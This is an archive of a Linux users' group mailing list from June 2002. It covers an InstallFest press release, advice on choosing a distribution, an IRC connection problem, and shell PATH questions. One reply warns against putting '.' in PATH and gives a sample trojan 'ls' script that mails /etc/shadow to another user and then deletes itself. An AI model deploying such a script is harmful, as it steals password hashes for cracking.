Date: Sat, 1 Jun 2002 17:38:50 -0700 Subject: Fwd: FW: InstallFest Press Release RC2 In-Reply-To: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Message-ID: <0206011738500Q.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I vote for RC2. As far as changing the web site, that will take all of 15 minutes to change. On Saturday 01 June 2002 16:04, you wrote: > Here are Bill's changes to the Press Release for comment. This version is > based on Victor's suggestion to make the press release more newsworthy. > > So, hwich version do we want to run with - this one? Or what's currently > posted on the PLUG site? > > Judges, the envelope please. . . > > Dennis > > -----Original Message----- > From: William Lindley [SMTP:wlindley@wlindley.com] > Sent: Wednesday, May 29, 2002 16:43 > To: Dennis Kibbe > Subject: InstallFest Press Release RC2 > > Dennis -- Using Victor's suggestion, here's RC2. Changes from Victor's > text: > > * Title "GNU/Linux InstallFest" > * My description "computer consultant" > * Changed my <> slightly > * Instead of "and external modems" a reference to the PLUG web page > InstallFest Q&A (which we need to have ready when this is released). > Removed parentheses around that sentence. > * Corrected spelling of my name > * "PLUG Club members" --> "PLUG members" > > === > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely > available operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of > charge. The package includes web browsers, word processors, and other > usual tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." > > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other "open source" and "free software" systems > do not require any licensing or upgrade fees, and are said by many experts > to be more efficient and secure than Windows systems. > > Businesses and home users alike are turning to free software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term "free software" actually refers to > freedom from license restrictions: Users are never asked to click "I > Agree" to a list of prohibitions before using it, and organizations need > not store "Certificates of Authenticity" in their safe deposit boxes in > case of an audit. > > The free software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their > computers to the event. Usually, only the computer box, monitor, keyboard > and mouse need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a really important next step in development of computers and the > Internet -- making them more affordable and more secure," Lindley said. > "We are here to show how easy it can be for computer users to move up to > the next level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open > Source software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and open source software; to share problems and solutions, > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion > list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several free software events. > > END > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPlpGysk3ywszI1FEQILvACdEkqRNlMPBC5W0M1pcunYH7obtHUAn3yC 7bYDv7I82xIDXYzbEyq654py =HHPt -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 05:24:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 1 Jun 2002 22:24:12 -0700 Subject: InstallFest Press Release RC2 In-Reply-To: <0206011738500Q.00730@nova.wedge.org> References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> <0206011738500Q.00730@nova.wedge.org> Message-ID: <200206012224.12957.alandd@mindspring.com> Use this RC2! Send it out. I am finding it is too late already for some possible sponsors. We don't want to miss out on any possible news coverage or other connections because we are too late. Alan On Saturday 01 June 2002 05:38 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I vote for RC2. As far as changing the web site, that will take all of 15 > minutes to change. > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 08:21:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sun, 02 Jun 2002 01:21:18 -0700 Subject: InstallFest Press Release RC2 References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> <0206011738500Q.00730@nova.wedge.org> <200206012224.12957.alandd@mindspring.com> Message-ID: <3CF9D57E.580EA06B@cox.net> We'll also need one for the radio stations. It should be a stripped-down and speakable version of RC2, reduced to just a paragraph or two. Figure the greatest amount of time they'd give it in a radio announcement, then give them twice that much so they have something they can cut out. ;-) Vic Alan Dayley wrote: > > Use this RC2! Send it out. I am finding it is too late already for some > possible sponsors. We don't want to miss out on any possible news coverage > or other connections because we are too late. > > Alan > > On Saturday 01 June 2002 05:38 pm, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I vote for RC2. As far as changing the web site, that will take all of 15 > > minutes to change. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Vic http://members.cox.net/vodhner/ -- or -- http://www.newearth.org/~victor/resume.html From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 08:53:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 01:53:19 -0700 (PDT) Subject: InstallFest Press Release RC2 In-Reply-To: <3CF9D57E.580EA06B@cox.net> Message-ID: Ooh! Ooh! Once it's been stripped-down for the radio, can I read it? :-) I'm taking voice-over lessons on the side and I would love to do this for PLUG. ~M On Sun, 2 Jun 2002, Victor Odhner wrote: > We'll also need one for the radio stations. > > It should be a stripped-down and speakable > version of RC2, reduced to just a paragraph > or two. Figure the greatest amount of > time they'd give it in a radio announcement, > then give them twice that much so they > have something they can cut out. ;-) > > Vic > > Alan Dayley wrote: > > > > Use this RC2! Send it out. I am finding it is too late already for some > > possible sponsors. We don't want to miss out on any possible news coverage > > or other connections because we are too late. > > > > Alan > > > > On Saturday 01 June 2002 05:38 pm, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > I vote for RC2. As far as changing the web site, that will take all of 15 > > > minutes to change. > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > > Vic > > http://members.cox.net/vodhner/ > -- or -- > http://www.newearth.org/~victor/resume.html > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:08:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Uhlman) Date: Sat, 1 Jun 2002 09:08:23 -0700 Subject: InstallFest / Distribution Advice References: <000501c2085d$d9fd44b0$6500000a@janus> Message-ID: <000e01c20986$8e790a40$0f01a8c0@workstation> I agree with the other authors note about "linux from scratch" from a conceptual perspective, however I think that linux from scratch is somewhat "outdated" to todays types of distributions. I think that one can make there own LFS from a stock redhat or mandrake etc. Start with an installed copy of the base system on a clean drive and build package by package until you get where you want to go, perhaps change bootloaders ie lilo to grub for extra credit. Examine carefully settings and configurations for each peice of software and recompile SRPMS when appropriate, making a working developement environment is the hardest part of that ususually and quite valuable experience I might add. Hands down, being involved in every descision is the best way to understand linux from a little picture/big picture perspective. You may also be interested in taking a look at gentoo linux which dl's and compile a complete distribution. Very unique, interesting and powerful. gentoo.org hope it helps. Sincerely, David Uhlman CTO 50km Inc. office(877-571-7679) mobile(602-770-9551) fax(509-752-3882) email(duhlman@50km.com) ----- Original Message ----- From: "Matt Wyant" To: "PLUG Discussion List" Sent: Thursday, May 30, 2002 9:44 PM Subject: InstallFest / Distribution Advice > > I've always been attracted to GNU/Linux because of it's configuration > and manipulation options. I've played with the Mandrake distribution, > but it wasn't any fun because I didn't have to do anything. I need a > distribution that will force me to learn all the dirty details. From > what I've gathered online, Slackware is just that. A powerful, > configurable, advanced distribution. I have two questions: > > A) Am I jumping in over my head? I'm very proficient with computers, > I've been programming since before junior high with various flavors of > basic and c. I'm certainly not daunted by the shell, command line, or > non-graphical interfaces, in fact, they hold some sort of sick romantic > draw for me. Should I start with a more user-friendly distribution or do > you think I can handle Slackware? > > B) I read about the upcoming InstallFest June 22nd. I am very > interested, and will probably attend if I haven't gotten this figured > out by then (I'm pretty busy, so that's a definite possibility). I know > I need to drag my tower, monitors and cables along, but do I need to > bring a distribution? > > I will be installing to a swappable primary drive, so loss of > productivity and time is not a problem during installation. I want to > cut my teeth on my workstation, and then eventually run > samba/apache/mysql on my (currently) file server. I've got a dual > Pentium III 1.0Ghz with dual monitors. I do a lot of web and SQL > development, as well as audio/video editing. Is any of this going to > pose roadblocks? Is there anything I should know before I dive in? > > Just looking for a little friendly advice and counseling. > > > "Three o'clock is always too late or too early for anything you want to > do." > -- Jean-Paul Sartre > > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com | http://www.zanfar.com > > Tempe, AZ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 09:32:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (islandkid) Date: Sun, 02 Jun 2002 05:32:40 -0400 Subject: your post - strange mouse/keyboard behavoir - I also need help Message-ID: <3CF9E638.3000806@uvic.ca> I read the below post of yours while I was looking for a solution to my problem. I have the identical problem with my linux system. Did you ever figure out how to fix it? ----------------------------------------------------------------- I setup a k12ltsp server (http://k12ltsp.org) at work and I plan on using it for our employees in our call center (they have very limited software needs so this will be a good testing ground). I've been testing things and I keep encountering random problems with the mouse/keyboard within KDE. Sometimes I can no longer click on anything. The only way to get out is to Ctrl-Alt-Backspace to kill the X session. This seems to happen most often when clicking the Logout button on the taskbar, I can't click anything else or use any keyboard keys (except Ctrl-Alt-Backspace) to complete the logout process. The hardware is fairly simple: Serial mouse, P-133MHz, 64MB RAM, 1MB Video card. Here's what I get in .xsession-errors after logging in: XIM DEBUG: xset: bad font path element (#37), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax xset: bad font path element (#37), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax DCOPServer up and running. DCOP Cleaning up dead connections. Mutex destroy failure: Device or resource busy Mutex destroy failure: Device or resource busy Mutex destroy failure: Device or resource busy mcop warning: user defined signal handler found for SIG_PIPE, overriding QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible QObject::connect: No such slot KWrited::block_in(const char*,int) QObject::connect: (sender name: 'unnamed') QObject::connect: (receiver name: 'unnamed') I also have a shell script that I created an icon for our users to click on. Here's the contents of the script: /usr/X11R6/bin/xterm -T Matt-Test -e /usr/bin/telnet 172.16.10.20 & After clicking this icon, I get this message in .xsession-errors: Invalid entry (missing '=') at /usr/local/bin/matt-test.sh:1 Any guesses as to what's going on? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 14:40:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 07:40:59 -0700 Subject: PlugPresents Site Update Message-ID: <0206020740590R.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The new Press Release has been moved to the PlugPresents web site. Check it out at http://www.plugpresents.com/installfest. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPoufSsk3ywszI1FEQIGFwCgzRVlqhiQK3sgw8z5Szh2crctVC0AoOWu 9LDrrBQJFBgvs8/mxYFtGdyn =tC/y -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 15:15:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sun, 02 Jun 2002 08:15:19 -0700 Subject: InstallFest Press Release RC2 References: Message-ID: <3CFA3687.4FB6F914@cox.net> Matt wrote: > Ooh! Ooh! Once it's been stripped-down for the > radio, can I read it? I'm taking voice-over > lessons on the side and I would love to do this > for PLUG. > ~M Then you would be the best person to come up with a speakable version, neh? Why don't YOU try to write a brief verbal equivalent for RC2? Keep it comprehensible, dumb it down. And DROP the GNU bit, it just won't fly in this context -- they'll just think the announcer is sneezing! My broadcast journalism course was 38 years ago! ;-) You wanna read it? Send us an mp3, we'll put it up to run behind the web site (giggle)! Vic http://members.cox.net/vodhner/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 15:53:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Clayton Stapleton) Date: Sun, 2 Jun 2002 08:53:24 -0700 Subject: Bash Scripts Message-ID: <200206020853.24050.vernon@impulsedata.net> Figured out what is causing my problem with scripts. I can copy the body of a file to the command line and it fuction as expected. When I enter the file name on the command line I get "command not found". The permissions of the file are: -rwxr-xr-x 1 clay users 51 May 30 05:43 hello My setup is: cpu: AMD Athlon XP 1600+ ram: 256 MB OS: SuSE Linux 8.0 desktop: KDE3 shell: bash 2.05-302 editor: vim 6.0-155 console: Shell-Konsole I have tried this with a c program with the same results, "command not found". Any ideas out there on what is causing this? Clay Stapleton From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:07:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 09:07:12 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <0206020907120S.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sounds like the directory is not in the PATH. Try cd'ing to the directory and entering ./scriptname. On Sunday 02 June 2002 08:53, you wrote: > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello > > My setup is: > cpu: AMD Athlon XP 1600+ > ram: 256 MB > OS: SuSE Linux 8.0 > desktop: KDE3 > shell: bash 2.05-302 > editor: vim 6.0-155 > console: Shell-Konsole > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPpCsCsk3ywszI1FEQJPqACgnvrRjkIWMxfZiId6k7iSJJeAa4wAn0g4 Pcff4tlfipOm94hN13olrOKu =c2jj -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:09:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 02 Jun 2002 09:09:45 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <1023034185.28160.8.camel@barney.azapple.com> On Sun, 2002-06-02 at 08:53, Clayton Stapleton wrote: > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello ---- run it... ./hello Craig From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:12:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 2 Jun 2002 09:12:08 -0700 (MST) Subject: From Scratch? (was Re: Distribution Advice) In-Reply-To: <000e01c20986$8e790a40$0f01a8c0@workstation> Message-ID: On Sat, 1 Jun 2002, David Uhlman wrote: > one can make [one's] own LFS from a stock redhat or mandrake etc. > Start with an installed copy of the base system on a clean drive and > build package by package until you get where you want to go That's a great way to tear apart a distro like RedHat and see what makes it tick. You will learn plenty, 'tho not quite the same things you'd learn with a totally From Scratch approach. Consider these two approaches: A. Start with a 1957 Chevy Bel Air. Remove the engine. Replace one part at a time on the engine, making sure the engine continues to work after each new part. Reinstall the engine. Drive away. B. Start with a bare engine block and a barrel full of Chevy parts. Using only an exploded diagram, assemble a working engine. Find a 1957 Chevy Bel Air frame at the junkyard, and several "hulks" from which you can pull body parts. Pull pieces from the hulks and add them to your masterpiece. Drive away. Both approaches have their advantages, depending on what you want to learn. \\/ http://www.wlindley.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:08:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 12:08:27 -0400 Subject: InstallFest / Distribution Advice References: <000501c2085d$d9fd44b0$6500000a@janus> <000e01c20986$8e790a40$0f01a8c0@workstation> Message-ID: <3CFA42FB.3DF6EAD5@georgetoft.com> Why would you invite a newbie to start with one of the most challenging projects out there? Let's set the way-back machine to when you were learning to ride a bicycle. Did your parents make you build your bike to start off (Slackware, Debian, LFS)? No - they gave you a bike with training wheels that already worked (Mandrake, Red Hat). As you gained familiarity with the mechanics of riding a bike (Linux administration), the training wheels were removed, and you were on your own (to ride whatever you wanted). If a person is already familiar with Unix (riding some kind of bike), then this is not much of an issue, but then they probably won't call themselves a newbie and ask for help/advice. By building their bike from scratch they do learn much more, but maybe they don't want to be a bike mechanic. Maybe they want to ride the bike instead of being pulled around in the red wagon by Microsoft, being taken where ever Microsoft decides. You don't have to be a bike mechanic to ride, although it helps when you break the bike to be able to fix it quickly. There are plenty of bike mechanics out here that can lend a hand to a newbie when they break their bike, or when they want to trick it out (video capture, sound editing, VCD mastering, writing device drivers, etc). Maybe I'm recalling my first Linux experience. It took me a week to get Linux to print without stair-stepping because, at that time, all that was avaialble was using vi to edit printcap. I learned more than I ever wanted to know (I was overwhelmed), and ran screaming back to my red wagon. Two years later, after having my red wagon tipped over every 60 minutes, I bought an already built bike (Red Hat) and learned to ride. When I got Star Office 4, Netscape, and Acrobat Reader running (back when these did not come with Linux distros, but had to be downloaded as tarballs and installed and configured and tweaked), I shed the training wheels and threw the red wagon away. You have to crawl before you can run. My $0.02 plus some. George From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:26:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sun, 02 Jun 2002 12:26:29 -0400 Subject: Bash Scripts References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <3CFA4735.ACA0B941@georgetoft.com> The command is not in your path. DOS/Windows makes . (your current directory, know in Unix as your CWD) the first place to look for files. This presents a major security risk, and is highly discouraged. Therefore, you need to preceed the script name with ./ to tell the shell to use the script in your CWD, like this: ./hello If that becomes too burdonsome for you, edit ~/.bash_profile, and add: PATH=$PATH:. This makes the shell look for stuff in your CWD last. I still STRONGLY RECOMMEND you do not do this. NEVER, NEVER, NEVER do this as root!!! EVER!!! History lesson: A long time ago, people used to have . in their path, even as root. The some bright boy figured out he could put this script in /tmp/ls: #!/bin/sh cat /etc/shadow | mailx -s "password file" joeblow /bin/ls $1 $2 $3 $4 $5 $6 rm -f /tmp/ls exit $? Since /tmp is world writable, if root happened to have . before /bin in his PATH, and root happened to be in /tmp and typed ls, this script executes, sends the password shadow file to jowblow, and then executes the normal ls command so it looks good, then it deletes itself. Joe could then run a password cracking program against the file and retrieve other passwords, like root's. Regards, George Clayton Stapleton wrote: > > Figured out what is causing my problem with scripts. > I can copy the body of a file to the command line and > it fuction as expected. When I enter the file name on > the command line I get "command not found". > The permissions of the file are: > -rwxr-xr-x 1 clay users 51 May 30 05:43 hello > > My setup is: > cpu: AMD Athlon XP 1600+ > ram: 256 MB > OS: SuSE Linux 8.0 > desktop: KDE3 > shell: bash 2.05-302 > editor: vim 6.0-155 > console: Shell-Konsole > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 16:32:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (steve) Date: 02 Jun 2002 09:32:04 -0700 Subject: Bash Scripts In-Reply-To: <200206020853.24050.vernon@impulsedata.net> References: <200206020853.24050.vernon@impulsedata.net> Message-ID: <1023035530.26074.2.camel@tomahawk.lww.com> you need to preface your command with ./ (i.e. ./hello) the reason for this is that your current directory is not in your path for security reasons. Steve Phariss > > I have tried this with a c program with the same results, > "command not found". > > Any ideas out there on what is causing this? > > Clay Stapleton > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:29:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sun, 2 Jun 2002 10:29:12 -0700 Subject: IRC Linux channel? In-Reply-To: <3CF912F9.E14C11CA@aaahawk.com> References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> <3CF912F9.E14C11CA@aaahawk.com> Message-ID: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> well, thats unusual. when did you attempt connection? the server is up 24/7 and there appears to be no current problems. you might want to check the port. also, the pretorian.ath.cx is lowercase. I'll also have to check the hostname to see if its been dropped. Technomage On Saturday 01 June 2002 11:31 am, you wrote: > Hello all, Im a bit new to all of this but have been messin with Linux > for about a year. So I will ask my newbie question and look like a fool > for the proverbial 5 min. Im not sure how to connect to the > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > always times out. What am I doing wrong? I have tried X-Chat IRC Client > and Mozilla-IRC. If someone could help me set that up I would greatly > appreciate it. Thanks. > > Luke > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:44:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 10:44:57 -0700 (PDT) Subject: InstallFest Press Release RC2 In-Reply-To: <3CFA3687.4FB6F914@cox.net> Message-ID: On Sun, 2 Jun 2002, Victor Odhner wrote: > Matt wrote: > > Ooh! Ooh! Once it's been stripped-down for the > > radio, can I read it? I'm taking voice-over > > lessons on the side and I would love to do this > > for PLUG. > > ~M > > Then you would be the best person to come up with > a speakable version, neh? Why don't YOU try to > write a brief verbal equivalent for RC2? > Keep it comprehensible, dumb it down. > > And DROP the GNU bit, it just won't fly > in this context -- they'll just think the > announcer is sneezing! > > My broadcast journalism course was 38 years ago! ;-) > > You wanna read it? Send us an mp3, we'll put it > up to run behind the web site (giggle)! I'm all over that bad boy. I'll plan for a 30-second spot and send you an MP3 when I'm done. ~M From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 17:43:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 10:43:23 -0700 (PDT) Subject: IRC Linux channel? In-Reply-To: <20020602172913.HTJN25007.fed1mtao01.cox.net@there> Message-ID: I wasn't able to connect for the first time the other day either. I just now retried and was able to get in, but I noticed that I had "atx" saved in my KSirc configuration instead of "ath". It may have been a typo on my part or it could be spelled wrong on the PLUG website (which is down right now so I can't check). ~M On Sun, 2 Jun 2002, technomage wrote: > well, > thats unusual. > when did you attempt connection? > > the server is up 24/7 and there appears to be no current problems. > > you might want to check the port. also, the pretorian.ath.cx is lowercase. > > I'll also have to check the hostname to see if its been dropped. > > Technomage > > On Saturday 01 June 2002 11:31 am, you wrote: > > Hello all, Im a bit new to all of this but have been messin with Linux > > for about a year. So I will ask my newbie question and look like a fool > > for the proverbial 5 min. Im not sure how to connect to the > > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > > always times out. What am I doing wrong? I have tried X-Chat IRC Client > > and Mozilla-IRC. If someone could help me set that up I would greatly > > appreciate it. Thanks. > > > > Luke > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 18:18:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 11:18:58 -0700 (PDT) Subject: IRC Linux channel? In-Reply-To: Message-ID: Yep. It's spelled wrong on the PLUG website. ~M On Sun, 2 Jun 2002, Matt Alexander wrote: > I wasn't able to connect for the first time the other day either. I just > now retried and was able to get in, but I noticed that I had "atx" saved > in my KSirc configuration instead of "ath". It may have been a typo on my > part or it could be spelled wrong on the PLUG website (which is down right > now so I can't check). > ~M > > > On Sun, 2 Jun 2002, technomage wrote: > > > well, > > thats unusual. > > when did you attempt connection? > > > > the server is up 24/7 and there appears to be no current problems. > > > > you might want to check the port. also, the pretorian.ath.cx is lowercase. > > > > I'll also have to check the hostname to see if its been dropped. > > > > Technomage > > > > On Saturday 01 June 2002 11:31 am, you wrote: > > > Hello all, Im a bit new to all of this but have been messin with Linux > > > for about a year. So I will ask my newbie question and look like a fool > > > for the proverbial 5 min. Im not sure how to connect to the > > > Pretorian.atx.cx chat thingy with the IRC. I try to connect and it > > > always times out. What am I doing wrong? I have tried X-Chat IRC Client > > > and Mozilla-IRC. If someone could help me set that up I would greatly > > > appreciate it. Thanks. > > > > > > Luke > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > numbered! > > My life is my own - No. 6 > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 18:52:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sun, 02 Jun 2002 11:52:04 -0700 Subject: From Scratch? (was Re: Distribution Advice) References: Message-ID: 